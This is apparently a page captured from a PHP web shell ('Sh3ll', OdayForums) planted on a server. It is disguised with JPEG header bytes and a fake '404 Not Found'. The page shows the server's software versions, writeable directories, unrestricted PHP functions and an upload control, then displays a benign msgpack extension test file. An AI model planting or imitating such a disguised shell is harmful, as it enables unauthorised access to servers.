����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/tests/pecl/msgpack/tests/137.phpt
--TEST--
unpack/pack str8
--INI--
msgpack.use_str8_serialization = 1
--SKIPIF--
<?php
    if (version_compare(PHP_VERSION, '5.2.0') < 0) {
        echo "skip tests in PHP 5.2 or newer";
    }
--FILE--
<?php
    if(!extension_loaded('msgpack')) {
        dl('msgpack.' . PHP_SHLIB_SUFFIX);
    }

    $str = "Simple test for short string - type str8";
    $str8 = chr(0xD9) . chr(strlen($str)) . $str;
    echo msgpack_unpack($str8) . "\n";

    //assert str8 serialization works, and default for use use_str8_serialization is 1
    $data = msgpack_pack($str);
    var_dump(bin2hex($data));
    echo ($data[0] == chr(0xD9) && $data[1] == chr(strlen($str)) ?  "OK" : "FAILED"), PHP_EOL;

    ini_set('msgpack.use_str8_serialization', 0);
    $data = msgpack_pack($str);
    var_dump(bin2hex($data));
    echo ($data[0] == chr(0xDA) && $data[2] == chr(strlen($str)) ?  "OK" : "FAILED"), PHP_EOL;

?>
--EXPECTF--
Simple test for short string - type str8
string(84) "d92853696d706c65207465737420666f722073686f727420737472696e67202d20747970652073747238"
OK
string(86) "da002853696d706c65207465737420666f722073686f727420737472696e67202d20747970652073747238"
OK

ZeroDay Forums Mini